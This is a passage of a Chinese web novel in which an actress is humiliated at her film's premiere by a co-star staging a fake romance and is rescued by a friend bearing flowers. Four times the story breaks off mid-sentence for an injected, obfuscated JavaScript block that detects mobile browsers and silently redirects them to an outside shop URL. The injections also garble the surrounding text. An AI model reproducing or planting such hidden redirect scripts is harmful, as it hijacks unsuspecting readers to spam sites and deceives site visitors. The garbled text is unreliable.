“呵。”宫欢看着挂断的手机页面,“都是一窝蛇虫鼠蚁,当谁是食物链底端呢?” 这事,宫欢暂时先记着,后面再慢慢报复回去。 解决了勒索她的人,宫欢心情大好。 昨天众人从警局回来后都累得不行,到了中午,一个都还没起来。 宫欢来到厨房,从冰箱里拿出一瓶950ml装的鲜牛乳,拧开瓶盖灌了几口,打开手机开始处理日常事务。 微信上甘惊鸿发来消息:【欢姐,剧组杀青啦!!】 随着消息发来的还有甘惊鸿的自拍照,她终于换下了那身蓝白校服,穿回了自己的衣服——披散的长直发,小雏菊布料的一字肩薄毛衣,化着浅淡的妆容,一张笑脸灿烂漂亮,一看就让人心情明媚。 宫欢大早上就被这美脸刷屏,心情不错,回消息都带着笑: 【恭喜杀青,什么时候回来给你开杀青宴。】 【导演那边的剧宣路演活动昨天发给我了,暂时定下了三四个一线城市,你回来休息几天,我看看有时间的话陪你一起去剧宣。】 甘惊鸿:【我暂时先不回去啦,刘导他们的后期制作好快,据说几天就能完成,再加上送审拿龙标,不超过半个月就能搞定,剧宣的海报和宣传都做好了,就等几个主演一起去宣传。】 甘惊鸿:【等几天我就直接去跟着路演,不来回跑了。你最近不忙嘛,有其他事忙的话不用担心我,我有两个超级厉害的小助理,什么都包办啦。】 宫欢找出最近的行程安排表。 赵莉莉的剧本还没定下,男团三人的热度还在持续,不是什么好热度,这就更需要宫欢插手介入,还有关清英最近也闲下来了,一群人等着吃饭。 宫欢想了想,好像还真的没什么时间往甘惊鸿那边跑,让高姐去也不太理想。 毕竟高姐是她的助理,没了高姐的宫欢,就像没了腿,走两步都难。 宫欢只好多叮嘱她几句: 【好吧,我确实忙。路演你有什么不懂的就问我们,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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甘惊鸿找到刘导微博,看见了【皎皎月明】的预告短片。 潮湿的海风吹乱了侧发,甘惊鸿用手指勾开黏在脸上的发丝,点开了预告短片。 长达1分钟的小短片,开头先是高义南饰演的男一与甘惊鸿饰演的高中生时期的单虹,两者交替出现,一些唯美的镜头衬托出两人的微妙朦胧的相处。 不过镜头不多,只有几个片段,后面大多数是男一与女一的相处,眼神戏,感情戏等等。 但这对甘惊鸿来说,足够了。 毕竟,这可是她第一次用正脸登上大荧幕呢! 准备退出微博时,她的手指下意识滑了一下评论区。 【有没有人注意到饰演学生时期的演员啊?我越看越觉得眼熟。】 【不是我说,这个演员和曲老师好像!!】 【明明两个人长的不太一样,可是越看越觉得特别像,尤其是笑起来的时候,我都怀疑是曲老师本人了!!】 【我也觉得,神态和小动作都特别像,简直是一个模子里刻出来的!?】 甘惊鸿眼睛顿时一亮,她看到这些评论后,抿着唇笑。 心底蔓延上来些欣慰,像是自己藏在很多个角落的小礼盒被人拆开了。 她点开自己的微博,粉丝量从最开始的0,到现在已经有100多个了。 将手机锁屏,甘惊鸿看向不远处的微微泛起波澜的海面,笑得越来越开心。 82. 皎皎月明2 半个月的时间过得很快。 影片拿到龙标后在多个城市开始排片、排场次,几位主演聚集在各个城市,在影片首映礼时纷纷出席。 之前吊足了众人胃口的——曲静初缺席路演的传闻,也随着本人的出现打破谣言。 接连几场路演中,曲静初与高义南都表现得非常体面,完全没有网上粉丝们口中那般‘老死不相往来’、‘难舍难分’的情况。 反而两人的相处状态更像普通同事,面对记者与粉丝们的互动要求,也都很配合,只是动作表情间,再也没有以前的那种呼之欲出的暧昧感了。 甘惊鸿多数时候是陪衬,站在一众主演、主创团队的最末尾的位置,保持微笑,偶尔配合大家鼓鼓掌,低调不起眼,不过她已经很满足了。 路演剧宣期间,时间安排得便紧迫起来。 经常上午在C省,下午就出现在了F市,不到一星期,主演团队已经走过了七八个城市,最后回到了A市。 繁华A市的首映礼地址选在了市内的大剧院,整体更为隆重盛大,这场首映礼邀请了许多官媒娱记,投资方品牌方也都非常有分量。 飞机落地A市。 甘惊鸿连别墅都没来得及回去,匆匆赶到首映礼会场的后台,换衣服做造型的间隙给宫欢发消息: 【欢姐,我到A市了,首映礼一会儿就要开始,我晚点回去。】 这场首映礼的造势最为盛大,导演组可能会在这回答期待票房之类的敏感问题,而A市的娱记们个个目光如炬,提问的问题很有可能都非常毒辣。 虽然没甘惊鸿什么事,不过她也得做好准备,以防被临时提问无法作答而闹笑话。 造型做好后,甘惊鸿站在休息室的全身镜前照了照。 花苞造型的短礼裙,搭配她半扎的丸子头,显得清新优雅,而眼尾用了大胆的青绿眼影,与眼睛的形状相得益彰。 造型师是宫欢联系的人,挑选的礼服偏简约不夸张,以防抢了主演们的风头,但又不会显得太过普通,符合甘惊鸿的外表形象,与影片中饰演的人物也很相符。 甘惊鸿对着镜子中的自己点点头,暗暗给自己鼓劲加油。 走出休息室前往会场的路上,主演们难免会碰头,甘惊鸿撞见了刚做完造型的高义南。 她礼貌地朝高义南点头问好:“高老师。” 高义南正整理着衣服,抬头看了甘惊鸿一眼,眼里略带着些嘲讽:“你这一声老师我可不敢当。” 甘惊鸿不打算与他多说,只是笑笑准备绕开。 在甘惊鸿路过高义南的身前时,她听见高义南说:“别以为我不知道你做了些什么。” 甘惊鸿头也没回地走到了会场后台。 高义南冷冷地看着她的背影,像条暗中窥伺的毒蛇。 得知剧本被改后,高义南闹过罢演,去找导演、制片人、甚至是影片公司都要求解约换人。 却被后面的投资方强行压了回来——违约金500万。 当初定下这电影本子时,高义南纯是冲着曲静初来的,根本没想过违约的事情。 现在各方宣传都打出去了,都是以他和曲静初的合作炒热度,如果罢演,鬼知道这些人会怎么给他泼脏水。 本就因为cp解绑的事情闹得很大,再惹了这些金主们,高义南没什么好果子吃,他只得忍了下来,一切照常。 而就在前段时间,他在几个剧组工作人员那听说——剧本是甘惊鸿插手修改的。 高义南一下想起来,难怪在他要罢演那天,甘惊鸿用那种意味深长的眼神看他。 合着这人早就在算计他。 不就是之前给了她一点下马威吗,宫欢不是替她找回场子了?居然还不罢休,这种睚眦必报的性格,在圈子里混不了多久,自己就能把自己折腾死。 原剧本的结尾剧情,明明会是高义南的高光表演片段——一个深情的、多年暗恋、求而不得的男主,最后为了让女主自由,舍弃了自己的自由。 可以说高义南选中这个电影本子,几乎就是为了这一高光片段才定下角色,而曲静初则是其次的选择。 可结果呢,高光被改成了一个送证据的不起眼的过程。 他根本没有可以发挥自己爆发式演技的地方! 本来能大吹特吹的剧情,变成了平平无奇的合家欢结局——谁要看合家欢啊,越是求而不得,越是虐恋越能让人上瘾。 导演懂不懂拍电影!?? 高义南烦躁地扯了扯领口。 一个十八线艺人,以为背靠宫欢就能掀起多大的风浪了吗? 他连宫欢都不放在眼里,一个个要不是背后有靠山,他才不会给她们好脸色。 旁边为高义南补妆的助理见他脸色阴晴不定,一时间不敢说话,过了会才问:“高老师,有几个cp粉头过来了,要不要让她们低调点?” Cp粉? 高义南微微皱眉,一时没答话,沉思片刻:“上次你刷到我和女二的cp剪辑视频,看的人多吗?” 助理想了想:“挺多的,虽然不比您和曲老师的,但也不少。” 高义南眯起眼,心里盘算了一下,像是找到某个可操作的点。 他拿出手机打开微博,找出了甘惊鸿与他的cp向视频,点了一个赞。 - 首映礼的会场里坐满了娱记媒体,摄影机前前后后架了几台,在一排摄影机后面坐满了观影人员与各家粉丝。 主持人先行上台说了些介绍词,随后迎出了一众主演、主创团队。 “欢迎【皎皎月明】的主演与主创们——刘导,曲静初老师,高义南老师,陈明老师~” 一行人走到电影大屏幕前,站成一排,迎着摄像机露出笑。 由刘导开始讲述【皎皎月明】的剧本内容,以及一些拍摄用意等等,主演们一一说过自己的角色理解。 曲静初:“我非常喜欢单虹的性格底色,她是一个很有坚持的女性,电影的表面看起来是一部爱情片,但每个角色都有其自身的独立性......” 高义南:“我饰演的男主一直是个被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126373|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欺凌的不起眼的人,可从被女主救下来后......” 陈明,也就是饰演霸凌者的演员比较幽默,打圆场说:“只有我最招恨,希望今天回家路上不会被打,哈哈哈哈。” 观众们也跟着笑起来,场内一时氛围极好。 等几位演员说过自己的角色后,话筒递到了甘惊鸿手上。 她有些紧张地两手抓着话筒,声音带着些颤抖地想说出自己饰演的角色,和对角色的理解时—— 众人只看见甘惊鸿的嘴巴张张合合,可就是没有声音。 一时间只听见许多疑问的窃窃私语。 甘惊鸿也在说完一句话后,才回过神来。 话筒没有声音? 主持人见多识广,看出来问题所在,她刚想说重新拿个话筒来,就被高义南打断:“各位记者看过影片后有什么理解,可以开始聊一下了。” 话筒总共就有三个,主持人手里一个,刘导一个,还有两个主演各一个,甘惊鸿与陈明一个。 距离最近的话筒就是高义南手里的那个,他却直接打断了甘惊鸿的自我介绍。 甘惊鸿不好影响首映礼的流程,只好抓着话筒垂下手,抿着唇维持着有些僵硬的笑,没说话。 “可以看出来各位老师对人物的理解都非常的深刻,”主持人顺着往下走流程,“大家对电影有什么理解都可以说出来哦。” 娱记与影迷粉丝们接连说出对电影的理解,或是对主角们的喜爱。 甘惊鸿维持着笑意,站在最末尾的位置,几乎没有人注意到她,好像之前出现过的认可都是错觉。 她竭力维持着体面,让自己不要低落,表情不能挂脸,不然会毁掉首映礼的。 甘惊鸿努力绷着嘴角,扯出笑来。 直到,观众席上有人举手,站起身后,没有向主演们提问,反而越过众人,向最不起眼的、角落里的女二提问。 “我想问一下那位饰演单虹学生时期的老师。”观众说道。 甘惊鸿几乎是眼睛瞬间亮起,话筒无声,她只好放大声音:“请说。” “您在和高老师拍戏期间,有没有对他产生过仰慕的情绪?”这人问,“您有刷到过你们的cp视频吗?” 甘惊鸿期待的表情僵在脸上。 这人一个问题引爆了其他记者,问题一下砸向高义南与甘惊鸿。 “高老师1小时前点赞了他和你的cp视频,请问你们是在炒作吗?趁着首映礼炒热度?” “高义南的固定cp是曲静初,他们前段时间解绑了,你们是要开始新的cp绑定了吗?” 接二连三的提问砸来,令人束手无策。 甘惊鸿慢慢转过头,看见高义南那张恶心得意的脸,一瞬间,她很想把手中话筒砸在他脸上。 除此之外,更多的,是无力感。 他们有看到影片中她饰演的角色本质吗?她用了怎样的表演技巧,她有没有演出人物的核心? 还有。 这里有一个人看过电影之后,记得她的名字吗? 83. 皎皎月明3 A市大剧院内有一场话剧刚结束演出。 后台的话剧演员们正在更换演出服,有些则坐在化妆镜前卸妆。 “我真怀疑你被骗了,”一个穿着中式长衫的演员拆掉自己的胡须,看着化妆镜中照出的另一人说,“合同签了多少年?” “......20年。” “20年!!??”饰演话剧《雷雨》中‘周朴园’一角的这位演员震惊地站起身,转身看向后面那个吊儿郎当地把腿搭在桌子上的人。 “你这签的是合同吗,我看是卖身契吧!” 萧子重眼神飘忽,试图想反驳这位朋友的话,想想,却觉得确实如此。 他签的可不就是卖身契吗。 男团这段时间风波一阵阵的,天天除了排舞还是排舞,偶尔有两个奇葩广告代言,微博上还都是一边倒的骂声。 简直不堪入目。 萧子重都有点怀疑自己是病急乱投医,在演戏方面没什么成就,以至于,有什么鱼饵就咬什么钩。 宫欢随便忽悠一下,他就被骗来当背景板了。 最近三人排舞,互相之间怎么看都不顺眼,每个人都非常浮躁不安。 不知道男团的存在到底能不能行,他们努力有没有用。萧子重索性来找以前的演员朋友来聊聊天,谈谈心。 越聊,越发现他是个棒槌,被人骗着签了20年的合约,还给人数钱。 想是这么想,可嘴上还是不能承认:“好了,我心里有数,这行和演员一样,就是一个字——熬!” 朋友苦笑着拆下假发片,仍在化妆台上,语气里满是惆怅与茫然:“熬到什么时候才能出得了头啊。” 这问题,谁也不知道。 告别朋友,萧子重双手插兜,慢悠悠地在大剧院里晃着,他不急着走,纯是散心似的在大剧院里溜达。 大剧院外是一片环绕的人工湖,走廊一侧的几面窗户接连大开,湖面凉爽的风吹来,让人心神沁凉。 萧子重目光在湖面晃过,没留神旁边的剧院演播厅的门外,贴着电影海报——《皎皎月明》。 只是耳边传来有些破坏氛围的嘈杂人声,吵得人头疼。 萧子重拧着眉头,不舍地收回欣赏景色的目光,转而投向侧门大开的演播厅,想看看是哪号人这么闹腾。 一面巨大的电影屏幕前,站着抿紧唇,神情倔强的一个人。 她手指紧紧抓着话筒,眼睛不似平常的亮,像是蒙上了一层水雾,在和谁较劲般,嘴绷成一条直线。 萧子重几乎是瞬间,就看出了她的情绪。而紧跟着钻入耳中的是一声声让人冒火的发问。 “请问你有没有看过你和高老师的cp视频?你对这些怎么看的?” “高老师才和曲老师解绑没几天,你就见缝插针是不是太心急了?” 萧子重的脑子转得前所未有的快。 仅仅是几秒间,就猜出了事情原委。 他暗骂一声,人也跟着慌了神。 这情况怎么解围啊? 那姓高的一句话也不说,摆明了就是在为难甘惊鸿。 宫欢也不在,怎么一个能帮忙的人都没有! 萧子重急得在演播厅侧门外面来回踱步,情况十万火急,他脑中闪过刚才走过的卖花小摊,也顾不得其他了,转身迅速往回跑去。 剧院大厅的固定摊位处有一家花店,门外摆放着的花束包装得精致漂亮,因为剧院刚结束了一场演出,花束卖出去了不少,还没来得及包新的。 萧子重匆匆跑回来时,只剩下两束花。 一束是比较隆重浪漫的99朵玫瑰,一束则是适合送人的日常花束。 没有标价,萧子重向正在忙碌的花店店员问:“你好,旁边这束花多少钱?麻烦马上帮我整理一下,我要送人。” 店员看着年轻,估计只有二十多岁,她抬头看了萧子重一眼,眼珠子转了转,报了个价:“500一束。” “好,帮我拿——多少!?”萧子重都拿出了手机准备扫码付款,没想到会是这么个价格,“我要的不是玫瑰,是旁边的小花束,这一共不到10支花要五百,你当谁是冤大头?” “不好意思哦,”店员放下手里的活,走过来诚心诚意地介绍,夸大其词,“大哥,我们这些花都是从海南那边空运过来的,有些还是外国品种,都是上档次精心培育的花,肯定价格就贵啦。” 萧子重完全不吃这套忽悠,他抱臂催促,看着很急的样子:“200帮我包起来,多了我不会买的。” 剧院里的物价本身就比外面的物品贵一倍不止。 更何况,花贩看出萧子重急切地需要花,也就咬死了不退步,甚至还开始卖惨—— “大哥你行行好吧,我之前因为犯罪判了10年,最近才出狱,一直找不到工作,一个大姐看我可怜让我帮她看摊子,而我为了活下去必须要每天卖出去花,不贵,就500元,大哥,支持一下吧!!” 花贩说得声泪俱下,情到浓处还擦擦眼泪,一脸悲惨的苦命人模样,好像在说——要是萧子重嫌贵,要压价,就是在看不起她。 时间紧迫,萧子重确实不敢浪费每一分每一秒,只得扫码准备付款。 花贩子乐呵呵地去将花给他包起来,而萧子重看见手机上蹦出的余额不足时,眼睛顿时瞪大了些。 他这才忽然想起来,这段时间基本没有收入,宫欢也还没有给他们发工资,而他花的一直都是之前剧院的工资。 前段时间为了混进星会所,他还拿出棺材本怒砸几万,现在是一分都没有了。 早就见底了。 怎么越愁什么越来什么。 因为花价已经浪费了几分钟,现在钱又不够,萧子重感觉这辈子的所有麻烦都在此刻出现,如同一道道栅栏挡在他面前。 仅是犹豫了片刻,他当即随机给朋友打电话。 萧子重大概用了所有智商,脑中闪过的是经常看手机的奚亭云,于是通话铃声只响了几下,对面便接了起来—— “你好。” “老奚,给我转钱!” 对面:“......” 萧子重来不及细说,眼看花贩子包好了花,他胡言乱语,语无伦次:“我买花需要五百块,刚好遇到点事了,钱根本不够,快,帮帮我,我真的有很重要的事情!工资一发就还你,宫欢还没给我发工资呢!” 奚亭云意外地没有多问,只说了声“好”,挂断电话的几秒后,转账来了。 萧子重有些讶异,但来不及细思,收了钱立马付款。 在花贩子将花抱来时,他略微急躁地抢了过来,迈开腿跑着离开,边走边说:“钱付了,你自己看——” 花贩看他两条长腿大步跑得极快,不一会儿就没了影,美滋滋地查看收款信息:“还是急钱好赚。” - 【皎皎月明】首映会场。 观众席上接连站起来的身影,提问着一个接一个的话题。 多数都是在围绕甘惊鸿与高义南是否有炒cp的嫌疑。 曲静初作为前任cp,不太适合过多解围,在这过程中,多是沉默不语,以防被拉下水掺和进去。 而刘导似乎在判断事情怎么发酵到了这一步。 以至于一时间,甘惊鸿被推到众人目光之下。 她倒是想回答那些荒谬的问题,可话筒没有声音,她要怎么说话? 距离最近的、能发声的话筒在高义南手里,甘惊鸿是不会去问他借话筒的,可如果再远一点,就不太合适,动作太大了。 再这样下去,这场首映礼会毁在她身上,而她也将会毁在某人的恶意行径下。 甘惊鸿费尽脑力想着对策,脑中闪过曾经看过的演员采访,对话艺术等等。 她心里大概有个办法,只是有点喧宾夺主。 但也只能这样了。 甘惊鸿深深呼吸一下,转头将手里的话筒递给距离最近的,饰演‘霸凌者’的陈明老师,朝他点头示意,对方顺势接住了话筒拿在手里。 接着,甘惊鸿绕到后方,走过一众主演的身后,来到刘导与主持人的中间,她向两人点头微微鞠躬。 主持人很快反应过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126374|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将手里的话筒递给甘惊鸿。 刘导则还处于有些不知如何解决的状态中。 甘惊鸿拿到话筒,面朝着观众席,得体而有礼地回应那些流言蜚语。 “各位老师好,我是甘惊鸿,在《皎皎月明》中饰演单虹的学生时期,非常感谢各位老师们的包容与理解,让我在拍摄过程中学习到了很多东西,希望大家能多多关注《皎皎月明》,这部讲述了两个完全不同的人,是如何走到一起的。” 甘惊鸿说着,偶尔朝刘导、副导、曲静初那边看,眼里带着真诚的感谢,众人也都一一笑着回应她。 还没等她说完,台下有记者打断她,再次问出那个全场都非常关注的八卦:“请问你对高老师点赞了你们的cp视频怎么看?这是你们提前约好的吗?” “高老师在拍摄期间也给了我很多的启发,”甘惊鸿努力压抑着慌乱,声音难免带着些颤抖,但她还是尽量稳住,“我对高老师非常敬重,我想他点赞视频,也是对我的一种肯定,觉得我的表演还不错,是一个合格的演员。” “我想,比起探究演员们的个人感情,去欣赏分析大家的表演更好,毕竟你们才是决定票房的人。”甘惊鸿点到即止,说完后朝记者点点头笑了下。 另一边听见这些话的高义南翻了个小小的白眼,脸上却还保持着笑容,堪称面部表情掌控大师。 主持人接着往下走流程:“好,谢谢这位记者的提问,接下来是粉丝时间,粉丝们有什么想对我们主演老师们说的话吗?” 粉丝们一个个举起手,流程继续顺利进行。 甘惊鸿心有余悸地走回自己的位置,头还在嗡嗡响。 刚才说的那些话,一字一句都在心里默念了一边,才说出了口。 还好,都挑不出什么错处,她回答的很好。 甘惊鸿安抚着自己,她既介绍了自己,又说清楚了高义南的点赞疑点,虽然没多少人会信,但也是她的澄清方式。 等会首映礼结束,她要去找欢姐商量一下。 甘惊鸿继续站在角落,保持安静。 剧院侧门处进来了一道身影。 大剧院的安保人员多数在外面,首映礼会场则只有几个内部的维持秩序人员,侧门没有专人看守。 萧子重轻易地混了进来,他戴着黑色口罩,抱着一捧花,眼睛越过笑闹的人群与记者媒体,自动搜寻到了角落里的甘惊鸿。 她静静的站在那里,像一株待绽的白玉兰,清雅,安静,周围的氛围始终无法靠近她。 会场内的话题不知何时转移到了拍摄中的趣事,刚才那些问题都过去了吗? 她是怎么扛过去的? 萧子重觉得自己来得晚了。 但好在不算太晚。 “请下一位粉丝举手示意——” “我!” 萧子重举手的同时,喊出了声。 他声压极强,即使没有话筒,在会场内的那个“我”字仍然回荡着大半个观众席,不少人纷纷回头,连带着台上的人也向那边看去。 甘惊鸿只是觉得这声音洪亮清晰,非常有功底,于是也抬眼看过去。 当即怔住。 那个人穿着短款的棕咖色外套,下身是束脚裤与短靴,显得腿很长,没几步就走到了台前。 他怀中抱着一捧清新淡雅的白色花束,一手背在身后,微微躬身,隔着长长的红色隔离带,他单手将那捧花送到了甘惊鸿面前。 “甘老师,我非常喜欢您饰演的单虹,她坚强,勇敢,不畏惧任何流言,我希望,您也能像她一样走到最后,始终不放弃自己。” 即使他戴着口罩,甘惊鸿还是一眼就认出了面前的人。 口罩上方没有被遮住的眼睛微弯,有些偏凶型的眼眸多了些柔缓,像是野性难驯的兽多了丝人性,低下头来,等你将手放上去。 甘惊鸿蓦地笑了。 她伸出手,接过那捧花。 “谢谢你。” 他也在笑,她抿着唇笑。 整个会场里面,成百上千的人中,只有他们在相视而笑。 84. 皎皎月明4 首映礼结束。 甘惊鸿换回私服,让助理们先将行李和那捧花束带回别墅。 小助理临走前多问了句:“你不跟我们一起回去吗?” 甘惊鸿离开休息室的脚步未停,像是赶着去见什么人,她只来得及匆匆回头,笑着说:“我要去见一个人,不用担心我啦。” 后台的走廊上,甘惊鸿一路上和剧组的许多人员道别:“我先走啦,拜拜拜拜,有空再聚~” 副导见她走得急,来不及多说几句话,只是晃着手机:“有空常联系,这次首映礼结束之后不知道多久才能见呢。” “好的好的,你们早点回去休息哦!” 一一和刘导,主演们道别,甘惊鸿到后面几乎是小跑着,来到了会场门外。 她一眼看见站在走廊窗边的人。 他有些懒散地将手肘搭在窗沿,额侧微卷的刘海被风吹得轻摆,身体倾靠着窗口,两腿交叠,乍一看像是某个杂志里的特约模特。 甘惊鸿一下就被晃到了眼,愣愣地看了几秒,才屁颠屁颠地跑过去。 “前辈!” 人还没到,声先至。 萧子重直起身体,侧过身看着小跑过来的人:“首映礼已经结束了?” 难掩的兴奋与激动将她的脸染得微红,两眼亮晶晶地看着萧子重:“对!前辈你刚才好帅啊,送花的时候也好浪漫啊啊啊啊,当时好多记者都在拍——还好你戴口罩了,不然被发现就不好了。” 她的喜欢几乎没有任何掩饰,直直地扑面而来,无论是语言,还是扬起的笑脸与圆鼓鼓的苹果肌,甚至连两只手都在摇晃。 一切言语都不及肢体语言。 萧子重一下被这种诚挚的热情吓到,不像平时那么大大咧咧,反而束手束脚起来。 “还,还好吧,”他手无意识地摩挲着指腹,磕磕绊绊地解释,“我是来看朋友的时候,刚好路过看见你在里面,就...帮你捧捧场。” “真的帮了我很大的忙呢!太感谢了呜呜,”甘惊鸿下意识伸出手抓住他的手臂,靠近了许多,她直视他的眼睛一眨不眨地看着他,“前辈你都不知道,高义南在首映礼还没开始前,故意点赞了一些cp视频!他就是想故意炒作,恶心我们!” 她说话带上了我们。 萧子重下意识注意到这些细节,其次,便是她拉着他的手。 手指白净,指甲修剪的很整齐,指尖偏粉,但手背往手臂的皮肤细腻白柔,看着就像是很软很滑的质感。 后面的话,萧子重没听进去多少。 只是目光顺着她的手指往手臂上滑——她的私服比首映礼上的花苞裙要日常得多,淡蓝色的露肩无袖上衣,脖颈处的挂脖设计有一朵天蓝色的花朵,显得她脖颈很修长。 “前辈,前辈?”甘惊鸿歪着头将脸凑到他的视线下,去追着他的目光,“——你在听我说吗?” 萧子重瞬间退了半步,手臂也顺势从她手里抽了出来,他眼神飘忽,低咳一声:“他简直太过分了,以前听说高义南有礼貌人又亲和,没想到都是假的,他居然是这种人!” “就是,”甘惊鸿义填愤膺地附和,完全没注意到萧子重早就走神了,“不知道网上又会怎么炒呢,还好我刚才急中生智应对了过去。晚上回去再跟欢姐说吧,她肯定会有办法的。” “晚上?”萧子重看了看外面的天色,“现在还不到两点,首映礼都结束了,不回去吗?” 甘惊鸿也学着萧子重的样子往窗外看,视线转回来时满是笑意:“外面天气这么好,当然要去散散心啦,我这段时间被高义南折磨得‘不成人形’,前辈——陪我走走吧啊啊啊好不好~” 说来奇怪,甘惊鸿平时在剧组都比较收敛,与宫欢或是其他人相处都会稍微收敛点。 可这会,在萧子重面前就忍不住释放了‘天性’,看来,她真是被高义南折磨得要疯,碰到前辈就忍不住诉苦。 萧子重哪里承受得住她近似撒娇的语气,他平时跟宫欢对骂完全不在话下,可这种攻势实在是——溃不成军。 偏麦色的脸部皮肤透着些看不出的红,他视线始终不敢全部放在甘惊鸿身上,只是看了她一眼,又很快移开:“……那,那好吧。” 得到肯定的回复,甘惊鸿眼睛笑得弯弯如月牙,她一下扑上去抱了抱萧子重——礼貌性的拥抱,带着高兴与激动,或许,还有欣喜。 被忽然抱住的人,有些怔愣地微退半步,却又紧紧地稳住了身形。 萧子重双手微微张开,像是一下失去了驱动肢体的反应,只能任由有些凉意的皮肤隔着单薄的布料贴上了他的身体。 他的大脑再次宕机。 连意识都有些模糊。 只能感觉到她轻轻拍了拍他的背。 随后,手便被人拉着,萧子重也下意识跟着她走。 她像是一只翩飞的蓝蝴蝶,时而拉着他跑,时而转头回来对着他笑,声音甜而动人,活泼青春的气息将他淹没,目光被牢牢吸引,无法从她身上移开。 他们绕着大剧院外的人工湖走走停停,湖面的波澜金光漂浮跃动,道路两旁的树枝垂落,随风摆动发出窸窸窣窣的声响。 他和她坐在长椅上——多数时候都是甘惊鸿在说,萧子重在听...在看。 她吃着随手买来的甜品,边吃边说在剧组里的那些奇葩事件。 眉眼生动鲜活得超越无数部经典影片,那些被称为影坛最美的画面,也不及她的一颦一笑。 这一下午,如同一场有些朦胧的梦,所有的画面都像是带了层柔光滤镜,线条柔和,水波温缓,风也和煦—— 而她,是今日的主角。 - 天色渐晚,蚊子多了起来,甘惊鸿被咬了好几个包,她有些急躁地挠着手臂。 萧子重刚想说去买药,甘惊鸿的手机铃声响起,接起来,是宫欢催人回家的电话。 挂了电话,甘惊鸿说:“不买药了,我们先回去吧,家里应该有药。” 萧子重下意识恍惚了一瞬。 有些时候,他对台词的严谨程度太过,常常会因为个别字句,或是语气,对甘惊鸿说的一些话产生过多的联想。 他不太喜欢这样,很不受控的感觉,让人慌乱。 “先擦了再说,离回去还有一段时间,在剧组被高义南折磨,回来了,总不能还让你一直被蚊子包折磨。” 萧子重坚持去路边的小商店买了止痒喷雾,拿回来后,借着路灯的光,细心地喷在甘惊鸿手臂上。 “为什么你都没被咬?”甘惊鸿看了看萧子重卷起袖子的手臂,麦色皮肤上凸起的青筋颇为性感,她盯着看了好一会,十分不满,“蚊子也挑人欺负。” “我皮糙肉厚的,它们咬也咬不动。” “也是。”她还附和了。 萧子重忍不住扯了扯嘴角笑。 他俯身,有些犹豫地伸出手指,似乎想将那些透明的、凝在皮肤上的药液抹平,但有些灼热的手指触及柔软的冰凉皮肤,慢慢被压下一些弧度。 萧子重顿时觉得有些过分了,他一下抽回了手,有些莫名的将药瓶塞给了甘惊鸿:“我看不见,你自己擦。” 甘惊鸿默默抬头看了看头顶,那正在散发着大白光的路灯。 “......哦。” 氛围变得奇怪起来,不再像下午其乐融融的气氛。 甘惊鸿一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126375|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喷着止痒喷雾,一边跟在萧子重身后。 他走的有点快,却又在甘惊鸿小跑两步时,有意放慢步子。 明明下午的时候,还很好相处啊,怎么突然变得有点不好靠近了? 甘惊鸿不太搞得懂男人的心思,她只好闭紧嘴巴,不说话。 可沉默了一段时间之后,萧子重又突然顿住脚步,半侧过头:“......你怎么不说话了。” 甘惊鸿有点摸不着头脑:“啊?前辈还想聊些什么吗?” “......”萧子重将头扭了回去,“算了。” 说着又继续沉默地往大剧院外围走。 甘惊鸿:“......?” 这期间发生了什么事情吗? 她怎么一头雾水? 直到两人坐进车里,车开往别墅的方向,气氛仍然处于一种——若有似无的奇怪感觉。 萧子重与甘惊鸿两人各坐在车的一侧,中间隔着大半个中国的距离——萧子重认为的。 他确实在烦恼。 不过烦恼的主题已经变了。刚才车窗外的路灯快速略过,他忽然脑中闪过一个想法。 极其可怕的,让人震惊的想法。 ——他们,是不是在约会? 这念头一蹦出来,萧子重瞬间便觉得无所适从起来,甚至想当场钻出车窗,顶着呼呼的风和甘惊鸿说—— 抱歉,他今天没带脑子出门,下午的相处,只是朋友之间简单得不能再简单的相处了! 然后当场跳车离开,以示清白。 他绝对没有任何其他的杂念想法。 他只是出于一个表演系前辈对晚辈的爱护、陪伴,就像——就像养花养草养树,这种单纯的培育感情。 不过,甘惊鸿看起来似乎并没有其他的意思,她连他擦药的这种亲昵举动都不排斥。 她只是把他当成了尊敬的前辈吧。 那他呢? 萧子重反问了自己一句,然后,被这句反问,问住了自己。 他?他能有什么想法,一个绅士,有教养的人,对身边的女士上心一点,好一点没什么问题啊? 